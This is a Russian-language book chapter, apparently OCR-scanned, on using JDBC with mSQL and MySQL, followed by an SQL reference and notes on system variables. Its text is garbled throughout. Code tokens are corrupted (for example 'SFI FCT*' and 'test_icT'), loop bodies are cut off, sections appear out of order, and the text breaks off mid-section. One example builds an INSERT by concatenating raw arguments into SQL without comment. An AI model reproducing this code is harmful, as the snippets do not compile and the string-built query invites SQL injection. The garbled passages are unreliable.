    Как и все Java API, JDBC является набором классов и интерфейсов, в совокупности поддерживающих определенный набор функций. В случае JDBC эти функции обеспечивают доступ к базе данных. Классы и интерфейсы, составляющие JDBC API, являются, таким образом, абстракциями понятий, общих при доступе к базам данных любого типа. Например, Connection является интерфейсом Java, представляющим соединение с базой данных. Аналогично ResultSet представляет результирующий набор данных, возвращаемый командой SQL SELECT. Классы, образующие JDBC API, находятся в пакете Java, sql, который был введен Sun в JDK 1.1.

    Естественно, что конкретные детали доступа к базе данных зависят от ее изготовителя. JDBC фактически не имеет дела с этими деталями. Большая часть классов в пакете Java.sql является интерфейсами без реализации. Реализация этих интерфейсов осуществляется производителем базы данных в виде драйвера JDBC. В качестве программиста баз данных вам нужно знать очень немногое относительно драйвера, который вы используете, — все остальное делается через интерфейсы JDBC. Специфическая информация о базе данных, которая необходима для использования JDBC, включает в себя:

  • URL для драйвера JDBC.

  • Имя класса, реализующего Java. sql. Driver.

    Что такое JDBC?В новую спецификацию JDBC 2.0 включено необязательное для реализации производителями баз данных стандартное расширение API. Если поставщик вашей базы данных JDBC реализовал это стандартное расширение, вам даже нет необходимости знать JDBC URL или реализацию класса Driver. Это расширение предусматривает наличие класса DataSource, который можно найти по имени в каталоге с поддержкой JNDI.

    Оба эти элемента можно получить во время выполнения - из командной строки или файла свойств. Сам код программы не ссылается на эти два зависящие от реализации элемента. Мы разъясним, что делают JDBC URL и класс Driver в тех параграфах, где будем рассказывать о соединении с базами данных. На рисунке 14-1 представлена схема интерфейсов JDBC.

    JNDI - Java Naming and Directory Interface (интерфейс имен и каталогов Java) API. Он позволяет запоминать объекты Java в службе имен и каталогов, такой как сервер Lightweight Directory Access Protocol (облегченный протокол доступа к каталогам - LDAP), и находить их по имени.


    Что такое JDBC?

    Рис. 14-1. Классы и интерфейсы, входящие в JDBC API

    Соединение с базой данных

    Прежде всего нужно соединиться с базой данных. Один из немногих реализованных в пакете Java. sql. package классов - это класс DriverManager. Он поддерживает список реализаций JDBC и обеспечивает создание соединений с базами данных на основе сообщаемых ему JDBC URL. URL для JDBC имеет вид jdbc:protocol:subprotocol. Он сообщает DriverManager, с какой СУБД нужно соединиться, и передает ему данные, необходимые для осуществления соединения.

    Что такое JDBC?Смысл слова "driver" в JDBC зависит от контекста. При написании в нижнем регистре JDBC driver является собранием классов, в совокупности реализующих все интерфейсы JDBC и обеспечивающих приложение доступом хотя бы к одной базе данных. При написании Driver с заглавной буквы подразумевается класс, реализуемый в Java. sql. Driver. И наконец, JDBC предоставляет интерфейс DriverManager, с помощью которого можно вести учет всех различных реализаций Driver.

    Часть URL, обозначающая протокол, ссылается на конкретный драйвер JDBC. В случае MySQL и mSQL протоколами являются ту sql и msql соответственно. Субпротокол сообщает данные соединения, специфические для реализации. Для соединения с MySQL и mSQL требуются имя узла и имя базы данных. Дополнительно может потребоваться номер порта, если ядро базы данных запущено не как root. Поэтому полный URL для mSQL выглядит как, например, jdbc:msql://athens.imagi-nary.com: 1114/test. Он сообщает DriverManager о необходимости найти драйвер JDBC для mSQL и соединиться с базой данных test на athens.imaginary.com через порт 1114. Это делается путем единственного обращения к методу getConnection() интерфейса DriverManager. В примере 14-1 показано, как осуществить соединение с базой данных mSQL.

    Пример 14-1. Отрывок кода из примеров, предоставляемых с драйвером JDBC для mSQL, показывающий, как осуществить соединение

    import java.sql.*;

    public class Connect { public static void main(String argv[]) {

    Connection con = null;


    try {

    // Вот JDBC URL для этой базы данных

    String url = "jdbc:msql://athens.imaginary.com:1114/db_test";

    // 0 том, что делают классы Statement и ResultSet, ниже Statement stmt; ResultSet rs;

    // передать это как свойство, т.е.

    // -Djdbc.drivers=com.imaginary.sql.msql.MsqlDriver

    // или загрузить, как сделано в этом примере

    Class.fоrName("com.imaginary, sql. msql. MsqlDriver");

    // здесь осуществляется соединение

    con = DriverManager.getConnection(url, "borg", "");

    }

    catch( SQLException e ) {

    e.printStackTrace(); }

    finally {

    if( con != null ) {

    try { con.close();

    }

    catch( Exception e ) { }

    }

    }

    }

    }

    В этом примере соединение с базой данных осуществляется в строке con=DriverManager.getConnection(url, "borg", ""). В данном случае JDBC URL и имя класса, реализующего Driver, фактически введены в код приложения. В демонстрационной программе это допустимо, но всякое серьезное приложение должно загружать эти данные из файла свойств, получать через аргументы командной строки или из свойств системы. Реализация Driver будет автоматически загружена, если передать ее как системное свойство jdbc.drivers - иными словами, не нужно вызывать Class. ForName(). newlnstance(driver_name), если вы передаете имя драйвера как системное свойство jdbc.drivers. Второй и третий аргументы getConnection() передают ID пользователя и пароль, необходимые для установления соединения. Поскольку mSQL не использует пароли для авторизации пользователей, в примере используется пустая строка. Для MySQL же необходимо сообщить пароль.

    Поддержка переносимости с помощью файлов свойств

    Хотя наше внимание сосредоточено на двух конкретных базах данных, хорошей практикой программирования на Java является обеспечение полной переносимости приложений. Под переносимостью обычно подразумевается, что вы не пишете код, предназначенный для выполнения только на какой-то одной платформе. Однако для Java термин "переносимость" имеет более сильный смысл. Он означает независимость от аппаратных ресурсов и независимость от базы данных.


    Мы сказали о том, что JDBC URL и имя Driver зависят от реализации, но не сказали, как избежать их включения в код. Поскольку и то, и другое представляет собой простые строки, их можно передать в качестве параметров командной строки или как параметры апплетов. Это работающее, но едва ли элегантное решение, поскольку оно требует, чтобы пользователь помнил длинные командные строки. Аналогичное решение - выдавать пользователю приглашение для ввода этих данных, которое опять-таки требует, чтобы пользователь вспоминал JDBC URL и имя класса Java при каждом запуске приложения.

    Более изящное решение получается при использовании файла свойств. Файлы свойств поддерживаются классом Java. util. Resource-Bundle и его подклассами, позволяя приложению извлекать данные, относящиеся ко времени исполнения, из текстового файла. Для приложения, использующего JDBC, можно вставить в файл свойств URL и имя Driver, возложив на администратора приложения обязанность указать детали соединения. Пример 14-2 показывает файл свойств,

    предоставляющий данные о соединении.

    Пример 14-2. Файл SelectResource.properties с подробностями соединения

    Driver=com.imaginary.sql.msql.MsqlDriver

    URL=jdbc:msql://athens.imaginary.com:1114/db_test

    В примере 14-3 показан переносимый класс Connection.

    Пример 14-3. Специфические данные

    import java.sql.*; import java.util.*;

    public class Connect {

    public static void main(String argv[]) {

    Connection con = null;

    ResourceBundle bundle = ResourceBundle.getBundle("SelectResource");

    try {

    String url = bundle.getString("URL");

    Statement stmt; ResultSet rs;

    Class.forName(bundle.getString("Driver")); // здесь осуществляется соединение

    con = DriverManager.getConnection(url, "borg", ""); }

    catch( SQLException e ) { e. printStackTrace();

    }

    finally

    {

    if( con != null )

    {

    try { con.close(); }

    catch( Exception e ) { }

    }

    }

    }

    }

    В этом примере установления соединения мы избавились от кода, специфичного для mSQL. Однако для разработчиков переносимых JDBC-приложений остается одна важная проблема, особенно касающаяся тех, кто работает с mSQL. JDBC требует, чтобы все драйверы поддерживали начальный уровень (entry level) SQL2. Это стандарт ANSI минимальной поддержки SQL. Если при вызовах JDBC вы поддерживаете начальный уровень SQL2, то ваше приложение будет стопроцентно переносимо на другие базы данных. MySQL поддерживает минимальный уровень SQL2, a mSQL - увы, нет. Приложения, написанные для mSQL, скорее всего, без проблем будут переноситься на другие базы данных, но приложения, написанные с использованием начального уровня SQL92, в полном объеме нельзя будет безболезненно перенести обратно на mSQL.



    Динамический доступ к базе данных

    До сих пор мы имели дело с приложениями, в которых во время компиляции точно известно, что нужно будет делать. Если бы это был единственный тип поддержки, обеспечиваемый JDBC, никто не смог бы написать для Mysql и msql интерактивные инструменты командной строки, способные во время исполнения принимать команды SQL и выполнять их. Класс JDBC Statement поддерживает метод execute() для выполнения SQL-команд, которые могут быть запросами или обновлениями. Кроме того, экземпляры ResultSet обеспечивают предоставление о себе информации времени исполнения через интерфейс с именем ResultSetMetaData, доступ к которому осуществляется через вызов метода getMetaData() для ResultSet.

    Метаданные

    Термин метаданные звучит официозно, но на самом деле это не более чем дополнительные данные о некотором объекте, которые, если бы действительно хранились в объекте, просто зря тратили бы ресурсы. Например, для простых приложений не нужны имена колонок, связанных с результирующим набором ResultSet: программисту они, скорее всего, известны во время написания программы. Поэтому помеще

    ние этих дополнительных данных в класс ResultSet не рассматривается разработчиками JDBC как нечто существенное для функциональности ResultSet. Однако в некоторых случаях программирования баз данных i такие вещи, как имена колонок, очень важны, особенно при осуществлении динамического доступа к базам данных. Доступ к этим дополнительным данным - метаданным - разработчики JDBC обеспечили через интерфейс ResultSetMetaData. Этот класс позволяет узнать:

  • Число колонок в результирующем наборе.

  • Является ли NULL допустимым значением в колонке.

  • Метку, используемую для заголовка колонки.

  • Имя заданной колонки.

  • Таблицу, служащую источником данных для данной колонки.

  • Тип данных колонки.

    Другим примером класса, поставляемым вместе с драйвером mSQL-JDBC, является приложение Exec. Оно принимает любую команду SQL, задаваемую в командной строке, и выполняет ее. В примере 14-6 приводится соответствующий исходный код.


    Пример 14-6. Исходный код приложения Exec для выполнения динамического SQL

    import java.sql.*;

    public class Exec {

    public static void main(String args[]) {

    Connection con = null; String sql = "";

    for(int i=0; i
    sql = sql + args[i];

    if( i < args.length - 1 ) {

    sql = sql + " ";

    }

    }

    System, out. рrintln("Выполнение: " + sql);

    try {

    Class.forName("com.imaginary. sql.msql.MsqlDriver").newlnstance();

    String url = "jdbc:msql://athens.imaginary.com:1114/db_test";

    con = DriverManager.getConnection(url, "borg", "");

    Statement s = con.createStatement();

    if( s.execute(sql) ) {

    ResultSet r = s.getResultSet();

    ResultSetMetaData meta = r.getMetaData();

    int cols = meta.getColumnCount();

    int rownum = 0;

    while( r.next() ) { rownum++;

    System, out. println("Crpокa: " + rownum);

    for(int i=0; i
    System.out.print(meta.getColumnLabel(i+1) + ": ' + r.getObject(i+1) + ", ");

    }

    System.out.println("");

    }

    }

    else

    {

    System.out.println(s.getUpdateCount() + " строк обработано.");

    }

    s.close();

    con.close();

    }

    catch( Exception,e ) { e. printStackTrace();

    }

    finally

    {

    if( con != null )

    {

    try { con.close();

    }

    catch( SQLException e ) { }

    }

    }

    }

    }

    Для каждого результирующего набора обеспечивается получение экземпляра ResultSetMetaData с помощью метода getMetaData(). При динамическом доступе к базе данных необходимо узнать, сколько колонок в результирующем наборе, чтобы с уверенностью извлечь все колонки и их имена для вывода пользователю. Метаданные нашего результирующего набора обеспечивают получение всех этих данных с помощью методов getColumnCount() и getColumnLabel().

    Обработка динамического SQL

    В примере 14-6 введено понятие динамического вызова SQL. Поскольку мы не знаем, будет это запрос на получение данных или обновление, нужно передать вызов SQL через метод execute (). Этот метод возвращает true, если команда возвратила результирующий набор, и false в противном случае. В нашем примере, если возвращается true, то приложение получает возвращаемый ResultSet через вызов метода getResultSet(). Затем приложение может перейти к обычной обработке результирующего набора. Если, напротив, команда произвела какую-либо модификацию базы данных, можно вызвать метод getUpdateCu-unt() для подсчета числа строк, модифицированных командой.



    К несчастью, каждый API позволяет

    Java u JDBC

    В главе 13 "Си C++", мы познакомили вас с С API для MySQL и mSQL. К несчастью, каждый API позволяет писать программы только для той базы данных, которую он поддерживает. Если вы собираетесь переносить приложение между MySQL и mSQL или, того хуже, хотите, чтобы оно работало на Oracle, Sybase или с любой другой СУБД, вам необходимо переписать свой код так, чтобы он использовал фирменный API этого ядра. Однако Java-программисты по большей части избавлены от проблем переносимости на другую базу данных. У них есть единый API, Java DataBase Connectivity API (JDBC), обеспечивающий их унифицированным интерфейсом ко всем SQL-базам данных.

    Поскольку JDBC является единым интерфейсом ко всем базам данных, достаточно изучить его, чтобы писать приложения, которые будут работать как с MySQL, так и с mSQL. На самом деле, если должным образом использовать JDBC, то написанные вами на Java приложения смогут работать с любой СУБД. Если у вас есть доступ к другим базам данных, кроме MySQL и mSQL, можете проверить верность этого утверждения, запустив примеры данной главы с другой базой данных.

    Для чтения этой главы предполагается знание основ языка программирования Java и лежащих в его основе концепций. Если такой подготовки у вас нет, настоятельно рекомендуем посмотреть "Exploring Java" (O'Reilly & Associates, Inc.). Узнать более подробно о том, как создавать многоуровневые приложения баз данных, о чем мы рассказывали в главе 8 "Архитектуры приложений баз данных", можно из книги "Database Programming with JDBC and Java" (O'Reilly & Associates, Inc.).



    Простой доступ к базе данных

    В примере Connect делалось не много. В нем было просто показано, как соединиться с базой данных. В соединении с базой данных нет пользы, пока вы не начинаете действительно обмениваться с ней данными. Простейшие виды доступа к базе данных - команды SELECT, INSERT, UPDATE и DELETE. В JDBC API вы используете экземпляр Connection для создания экземпляров класса Statement. Класс Statement представляет SQL-команду любого типа. В примере 14-4 показано, как вставить строку в базу данных, используя Statement.

    Пример 14-4. Вставка строки в mSQL с помощью объекта JDBC Statement

    import Java, sql.*;
    import Java, util.*;

    public class Insert {

    // Делаем вставку в таблицу, имеющую две колонки: test_id (int)

    // и test_val (char(55))

    // args[0] - это test_id, a args[1] - test_val

    public static void main(String argv[]) {

    Connection con = null;

    ResourceBundle bundle = ResourceBundle.getBundle("SelectResource");

    try {

    String url = bundle.getString("URL");
    Statement stmt;

    Class.forName(bundle.getString("Driver"));

    // здесь осуществляется соединение

    con = DriverManager.getConnection(url, "borg", "");

    stmt = con.createStatement();

    stmt.executeUpdate("INSERT INTO test (test_id, test_val) " +

    "VALUES(" + args[0] + ", '," + args[1] + ")");
    }
    catch( SQLException e )
    {

    e. printStackTrace();
    }
    finally
    {

    if( con != null )
    {

    try { con.close();
    }
    catch( Exception e ) { }

    }
    }
    }
    }

    В реальном приложении мы бы, конечно, проверили, что пользователь ввел значение типа INT для test_id, что оно уникально, и что длина введенного значения test_val не превышает 55 символов. Тем не менее пример показывает, как просто осуществлять вставку данных. Метод createStatement() делает то, о чем говорит его название: создает пустую SQL-команду, связанную с рассматриваемым соединением - объектом Connection. Затем метод executeUpdate() передает заданную строку SQL базе данных для выполнения. Как подсказывает название, executeUp-date() ожидает команды SQL, которая некоторым образом модифицирует базу данных. Вы можете использовать ее, чтобы вставлять новые строки, как показано выше, либо удалять строки, обновлять строки, создавать новые таблицы или производить любые другие изменения в базе данных.


    Запросы выполнять немного сложнее, чем обновления, поскольку они возвращают информацию из базы данных в виде объекта ResultSet. ResultSet является интерфейсом, представляющим 0 или более строк, являющихся результатом запроса, обращенного к базе данных. В классе JDBC Statement имеется метод executeQuery(), работающий подобно executeUpdate(), за исключением того, что он возвращает из базы данных ResultSet. Метод executeQuery() возвращает ровно один ResultSet, тем не менее имейте в виду, что JDBC поддерживает извлечение множественных результирующих наборов для тех баз данных, которые это позволяют. Ни MySQL, ни mSQL не поддерживают множественные результирующие наборы. Однако важно помнить о такой возможности, когда вы изучаете код для работы с иным ядром базы данных, написанный кем-то другим. В примере 14-5 показан простой запрос. На рис. 14-2 изображена модель данных з таблице test.

    Пример 14-5. Простой запрос

    import Java, sql.*;

    import Java, util.*;

    public class Select {

    public static void main(String argv[]) {

    Connection con = null;

    ResourceBundle bundle =ResourceBundle.getBundle("SelectResource");

    try {

    String url = bundle.getString("URL"); Statement stmt;

    ResultSet rs;

    Class.forName(bundle.getString("Driver")); // здесь осуществляется соединение

    con = DriverManager,getConnection(url, "borg", "");

    stmt = con.createStatement();

    rs = stmt .executeQuery("SFI FCT* from test ORDER BY test_id");

    System, out.print In("Полученные результаты:");

    while(rs. next()) {

    int a= rs.getInt("test_icT);

    String str = rs.getString("test_val");

    System.out.print(" ключ= " + a);

    System.out.print(" строка= " + str);

    System.out.print("\n");

    }

    stmt.close();

    }

    catch( SQLException e )

    {

    e. printStackTrace();

    }

    finally {

    if( con != null ) {

    try { con.close(); }

    catch( Exception e ) { }

    }

    }

    }

    }

    Приложение Select выполняет запрос и затем проходит по всем строкам ResultSet с помощью метода next(). До первого обращения к next() ResultSet не указывает ни на какую строку. Каждый вызов next () настраивает ResultSet на следующую строку. JDBC 2:0 вводит понятие результирующего набора с перемещением (scrollable). Если ваш экземпляр ResultSet позволяет перемещение, можно также обращаться к методу previous() для перемещения по результирующему набору в обратном направлении. Обработка строк заканчивается, когда next () возвращает false.


    Простой доступ к базе данных

    Рис. 14-2. Таблица test из учебной базы данных

    Работа со строкой означает получение значений для каждой колонки. Каково бы ни было значение в базе данных, можно использовать методы ResultSet для получения значения колонки с любым типом данных Java, который вас устраивает. В приложении Select вызов метода gе tInt() возвращал колонку test_id как int, а вызов getString() возвращал значение колонки test_val как String. Эти методы получения значения колонки принимают либо номер колонки, начиная с 1, либо ее имя. Следует, однако, всеми силами избегать извлечения значений с помощью имен колонок, поскольку такой способ значительно медленнее, чем получение их с помощью номеров колонок.

    Обработка ошибок и освобождение ресурсов

    Все методы JDBC могут возбуждать SQLException или один из подклассов этого класса, если что-то происходит при обращении к базе данных. Ваш код должен уметь перехватывать исключительную ситуацию, обрабатывать ее и освобождать все размещенные в памяти ресурсы базы данных. Все перечисленные до сих пор классы JDBC имеют метод close(). Однако на практике вы должны обеспечить закрытие только тех объектов, которые вызваны процессами, продолжающими оставаться открытыми. В приведенных до сих пор примерах практически требовалось закрыть только соединение с базой данных. При закрытии соединения автоматически закрываются все связанные с ним команды и результирующие наборы. Однако если вы намерены сохранить соединение открытым в течение некоторого времени, будет правильным поспешить закрыть все объекты statement, которые вы создали с использованием этого соединения, когда они вам больше не нужны. В примерах JDBC, которые вы видели, это освобождение ресурсов производится в предложении finally. Это делается для того, чтобы обеспечить закрытие соединения независимо от того, что произойдет.



    Серверное приложение гостевой книги

    Вы, вероятно, немало слышали об апплетах Java. Однако в главе 8 мы говорили о том, что доступ к базам данных на стороне клиента является плохой идеей. В примеры к этой книге мы включили реальное приложение, использующее сведения о JDBC, изложенные в этой главе, для создания класса Java на стороне сервера. Такие приложения называются сервлеты (servlet). Хотя серверные приложения сами по себе не являются частью трехзвенной архитектуры, обсуждавшейся нами в главе 8, данный пример хорошо иллюстрирует возможности использования JDBC. Это серверное приложение является Web-страницей, позволяющей посетителям вашего сайта оставить свое мнение о нем. Оставленные комментарии могут просматриваться другими посетителями. Все, что вам нужно знать о серверных приложениях для понимания этого примера, это то, что метод doPost() обрабатывает события HTTP POST, a de-Get () обрабатывает события HTTP GET.

    В этом приложении две части: часть get и часть post. В обеих частях производится вызов метода printComments() для показа комментариев, оставленных в гостевой книге. В этом методе мы находим нечто, не встречавшееся нам в простых предыдущих примерах: вызов метода wasNull() после каждого извлечения значения колонки. Как и можно предположить из названия, wasNull() возвращает t rue, если последнее извлеченное значение было NULL в смысле SQL. В вызовах, возвращающих объект Java, значение обычно будет NULL, если при чтении из базы данных был получен NULL. Использование wasNull() в таких случаях может показаться излишним. Однако для простых типов данных выборка может возвращать допустимое значение. Метод wasNull() позволяет узнать, не было ли в базе данных значения NULL. Например, NULL в колонке целого типа возвращает 0 при вызове getlnt(). Чтобы узнать, что было в колонке - 0 или NULL, нужно вызвать wasNull().

    Часть III.

    Справочник

    В этой части приводится справочная информация по всем API и утилитам, упоминаемым в книге.



    MSQLSQL

    CREATE

    CREATE TABLE name field_name field_type, [field2 type2, ...]
    CREATE SEQUENCE ON table [STEP value] [VALUE value]
    CREATE INDEX name ON table ( column, ...)

    Создает новые элементы базы данных (или полностью новые базы). Предложение используется для создания БД, таблиц, индексов и счетчиков.

    CREATE SEQUENCE создает счетчик на таблицу. Счетчик - это простое значение, связанное с таблицей, за которым следит сервер mSQL. Наиболее часто счетчик используют для создания уникальных идентификаторов в таблицах. При прочтении значение счетчика каждый раз инкрементируется. Спецификатор STEP указывает на какое значение каждый раз инкрементируется счетчик. Спецификатор VALUE задает начальное значение счетчика.

    Оператор CREATE INDEX определяет индекс для таблицы. Система mSQL поддерживает индексы, содержащие более одного поля. Вы должны дать индексу имя, необязательно осмысленное, поскольку конечным пользователям редко необходим доступ к индексам.

    CREATE TABLE определяет структуру таблицы в базе данных. Этим оператором создаются все таблицы mSQL. Предложение состоит из имени таблицы, за которым идет любое количество определений полей. Синтаксис определения полей включает в себя имя поля, затем его тип, за которым следует любой модификатор (например: name char(30) not null). mSQL поддерживает следующие типы данных:

    CHAR (length)

    Текстовое значение фиксированной длины. Никакое значение не может быть больше заданной длины.

    DATE

    Стандартный тип даты.

    INT

    Стандартное четырехбайтовое целое в диапазоне от -2147483646 до 2147483647.

    MONEY

    Денежный тип, подходящий для аккуратного хранения денежных значений. Тип позволяет хранить десятичные значения (как 19.99) без необходимости использовать тип числа с плавающей запятой.

    REAL

    Стандартное восьмибайтовое число с плавающей запятой. Минимальные ненулевые значения +/-4.94Е-324 и максимальные значения +/- 1.79Е+308.

    ТЕХТ( length)

    Текстовое значение переменной длины. Заданная длина - это максимальное значение для большинства данных, однако могут быть введены и более длинные данные.


    TIME

    Стандартный тип времени.

    UINT

    Стандартное четырехбайтовое беззнаковое целое. Диапазон от 0 до 4294967295.

    В дополнение к основным типам могут быть использованы несколько спецификаторов для уточнения свойств типа:

    length

    Это является максимальной длиной символьного типа. Для типа CHAR это абсолютный максимум, для типа TEXT это приблизительный максимум, применяющийся только к большинству данных. Более длинные данные могут быть введены в поле TEXT, однако это замедлит операции с таблицей.

    NOT NULL

    Указывает, что поле не может содержать нулевое значение. Попытка ввести в это поле такое значение вызовет ошибку.

    Примеры

    # Создать 'простую таблицу

    CREATE TABLE emp_data ( id INT, name CHAR(50) )

    # Добавить счетчик к таблице 'checks' с начальным значением '1000' и # шагом инкрементации по умолчанию (1)

    CREATE SEQUENCE ON checks VALUE 1000

    # Создать индекс для таблицы 'music', включающий в себя

    # поля 'artist','publisher' и 'title'.

    CREATE INDEX idxl O.N music ( artist, publisher, title )

    DELETE

    DELETE FROM table [WHERE clause]

    Удаляет запись из таблицы. Если применяется без предложения WHERE, будет полностью удалена вся таблица, а затем создана новая пустая

    таблица. С использованием WHERE будут удалены записи, отвечающие условиям выражения.

    Примеры

    # Стереть все данные из таблицы 'olddata'(no не саму таблицу). DELETE FROM olddata

    # Стереть все записи в таблице 'sales', в которых поле 'year' равно '1995', DELETE FROM sales WHERE year=1995

    DROP

    DROP INDEX name DROP TABLE name DROP SEQUENCE FROM table

    Полностью удаляет таблицу, индекс или счетчик из системы mSQL.

    MSQLSQLDROP - это, возможно, самое опасное из выражений SQL. Если вы имеете право на выполнение команд DROP, вы можете полностью стереть таблицу или даже целую базу данных. Это произойдет без предупреждения или запроса на подтверждение. Единственный способ отменить DROP - восстановление базы данных из резервной копии. Поэтому следует запомнить два правиле: (1) всегда сохраняйте резервную копию вашей базы (backup); (2) не используйте DROP до тех пор, пока вы полностью не уверены в том, что это необходимо.


    Примеры

    # Удалить таблицу 'oh_no'. DROP TABLE oh_no

    # Удалить индекс с именем 'my_index' DROP INDEX my_index

    # Стереть счетчик для таблицы 'counter'. Другой счетчик может быть

    # создан в любое время с помощью команды 'CREATE SEQUENCE'.

    DROP SEQUENCE FROM counter

    INSERT

    INSERT INTO table [ (column, ...) ] VALUES ( values )

    Записывает данные в таблицу. Этот оператор вставит указанные значения в заданные столбцы. Поля, значения которых не указаны, получат значение NULL. Если вы не зададите список столбцов, число указанных значений должно точно совпадать с числом столбцов в таблице.

    Примеры

    # Добавить запись в таблицу'people'.

    INSERT INTO people ( name, rank, serial_number )

    VALUES ( 'Bob Smith', 'Captain', 12345 )

    SELECT

    SELECT [DISTINCT] columns FROM table [clause]

    Выбирает данные из таблицы. Оператор SELECT является основным методом чтения данных из таблиц баз данных.

    Если вы укажете несколько таблиц, mSQL автоматически объединит таблицы для сравнения записей.

    Если указано ключевое слово DISTINCT, будет показана только одна запись из каждой группы одинаковых записей возвращаемого набора.

    Имена столбцов могут быть указаны как column или как table, column . Длинная форма необходима только для того, чтобы отличать столбцы с одинаковыми именами, но ее можно использовать в любое время (например, SELECT name FROM people; SELECT people, name FROM people ).

    Список таблиц для соединения указывается как Table1, Table2, Tab-1еЗ, .... Таблицы будут соединены таким образом, как mSQL сочтет наиболее эффективным. Именам таблиц могут быть присвоены псевдонимы (например, SELECT t1.name, t2.address FROM Iong_table_name=t1, Ionger_table_name=t2 ). Если не указано выражение clause, SELECT вернет все данные из выбранной таблицы (или таблиц).

    Выражение отбора записей может содержать следующие операторы:

    WHERE

    Конструкция WHERE является основным способом поиска данных в SQL. В конструкции сравниваются два и более значений. Можно использовать значения с именами (такие как имена столбцов и псевдонимы), числовые константы и строки. Поддерживаются следующие операторы:


    AND

    Выполняет логическое И ( вернет 0, если хоть один из аргументов равен 0, иначе вернет 1).

    OR

    Выполняет логическое ИЛИ (возвращает 1, если любой из аргументов не равен 0, иначе возвращает 0).

    ()

    Скобки используются для группировки операторов, чтобы указать старшинство.

    =

    Возвращает 1, если два значения совпадают, иначе вернет 0. mSQL автоматически преобразует типы при сравнении значений.

    <>

    Возвращает 1, если два значения не совпадают, иначе возвращает 0.

    <=

    Возвращает 1, если левое значение меньше или равно правому, иначе возвращает 0.

    <

    Возвращает 1, если левое значение меньше, чем значение справа, иначе возвращает 0.

    >=

    Возвращает 1, если левое значение больше или равно правому, иначе возвращает 0.

    >

    Возвращает 1, если левое значение больше правого, иначе возвращает 0.

    ORDER BY column [DESC][, column2 [DESC],...]

    Сортирует возвращаемые данные по заданному столбцу (или столбцам). Если указать DESC, данные будут отсортированы в порядке убывания, иначе будет использована сортировка по возрастанию (например, SELECT name, age FROM people ORDER BY age DESC ).

    value1 LIKE value2

    Сравнивает valuel и value2 и возвращает 1, если они совпадают. Значение справа может содержать знак подстановки " % ", который заменяет любое количество символов (в том числе и отсутствие символа), и знак '_', замещающий в точности один символ. Это, возможно, наиболее употребительное в SQL сравнение. Чаще всего используется сравнение поля с некоторой строкой, содержащей знак подстановки (например, SELECT name FROM people WHERE name LIKE 'B%' ).

    value1 RLIKE value2

    Сравнивает valuel и value2, используя расширенный синтаксис регулярных выражений, и возвращает 1, если они совпадают. Значение справа может содержать полные подстановочные выражения и конструкции Unix (например, SELECT name FROM people WHERE name RLIKE '^В. *').

    value1 CLIKE value2

    Сравнивает value1 с value2, используя нечувствительную к регистру версию оператора LIKE (например, SELECT name FROM people WHERE name CLIKE 'b%' ).

    Предложение WHERE возвращает все записи, для которых значение заданного выражения не равно 0 или NULL. Таким образом, SELECT age FROM people WHERE age>10 вернет только те записи, где 'ages' больше 10.

    Примеры

    # Найти все имена (пате)в таблице 'people', у которых поле 'state' равно 'МI'. SELECT name FROM people WHERE state='MI' # Показать все данные из таблицы 'mytable'. SELECT * FROM mytable

    UPDATE

    UPDATE table SET column=value, . . . [WHERE clause]

    Изменяет данные в таблице. Используется для обновления существующих данных, не изменяя саму таблицу.

    Пример

    # Изменить имя 'John Deo' на 'John Doe' во всей таблице 'people'. UPDATE people SET name='John Doe' WHERE name='John Deo'

    MySQL SQL

    ALTER/MODIFY

    ALTER [IGNORE] TABLE table ADD [COLUMN] create_clause

    ALTER [IGNORE] TABLE table ADD INDEX [name] (column, . . .)

    ALTER [IGNORE] TABLE table ADD UNIQUE [name] (column, . . .)

    ALTER [IGNORE] TABLE table ALTER [COLUMN] column SET DEFAULT value

    ALTER [IGNORE] TABLE table ALTER [COLUMN] column DROP DEFAULT

    ALTER [IGNORE] TABLE table CHANGE [COLUMN] column create..clause

    ALTER [IGNORE] TABLE table DROP [COLUMN] column

    ALTER [IGNORE] TABLE table DROP FOREIGN KEY key

    ALTER [IGNORE] TABLE table DROP INDEX key

    ALTER [IGNORE] TABLE table DROP PRIMARY KEY

    ALTER [IGNORE] TABLE table MODIFY [COLUMN] create_clause

    ALTER [IGNORE] TABLE table RENAME [AS] new_name

    Оператор ALTER охватывает широкий набор действий, которые изменяют структуру таблицы. Этот оператор используется для добавления, изменения или удаления столбцов существующей таблицы, а также для удаления индексов. Несколько операторов ALTER могут быть объединены в одно предложение с помощью запятых:

    ALTER TABLE mytable DROP myoldcolumn, ADD mynewcolumn INT

    Для модификации таблицы MySQL создает копию таблицы и изменяет ее, выполняя все модифицирующие запросы. Когда все изменения сделаны, старая таблица удаляется, а ее место занимает новая таблица. В этой точке выполняются все поставленные в очередь запросы. В целях безопасности, если какой-либо из запросов создает дублирующие ключи, которые должны быть уникальными, предложение ALTER откатывается и отменяется. Если в предложении присутствует ключевое слово IGNORE, дублированные уникальные ключи игнорируются, и запрос ALTER исполняется как обычно. Имейте в виду, что использование IGNORE для активной таблицы с уникальными ключами может привести к искажению и порче таблицы.

    Как указывалось выше, есть несколько разных, зачастую противоположных действий, выполняемых ALTER:

    ADD [COLUMN] create,clause

    Добавляет новый столбец в таблицу. Выражение create_clause имеет тот же вид, что и используемое в операторе CREATE (см. ниже). Таблица должна существовать и не иметь столбца с тем же именем, что у добавляемого столбца. (Ключевое слово COLUMN необязательно и не имеет эффекта.)


    ADD INDEX [ name] (column , ...)

    Системные переменные MySQL и mSQL

    Для настройки работы MySQL и mSQL могут использоваться некоторые переменные. Многие из них являются переменными окружения, которые наследуются от оболочки пользователя, в то время как другие устанавливаются с помощью командной строки и файлов конфигурации.



    Системные переменные mSQL

    До появления mSQL 2 сконфигурировать систему после инсталляции можно было только через несколько глобальных переменных окружения. Однако mSQL 2.0 использует файл конфигурации, позволяющий производить установку параметров mSQL с гораздо большей гибкостью. Эта часть описывает как переменные окружения, так и специальный файл конфигурации mSQL 2.

    Переменные окружения

    Следующие переменные являются специальными переменными программ mSQL. Они могут быть определены в текущей оболочке или являться частью сценария оболочки.

    MSQL_DEBUG

    Отладочный уровень программы. Число от 0 (нет отладочной информации) до 3 (максимум отладочной информации).

    MSQL_CONF_FILE

    Путь к файлу конфигурации mSQL.

    Кроме того, программы mSQL используют следующие переменные окружения, которые обычно устанавливаются как часть среды Unix:

    USER

    Имя текущего пользователя.

    EDITOR
    VISUAL

    Путь к заданному по умолчанию редактору. Программа msql будет использовать его для редактирования SQL операторов, если ей встретится команда \е.

    Файл конфигурации mSQL

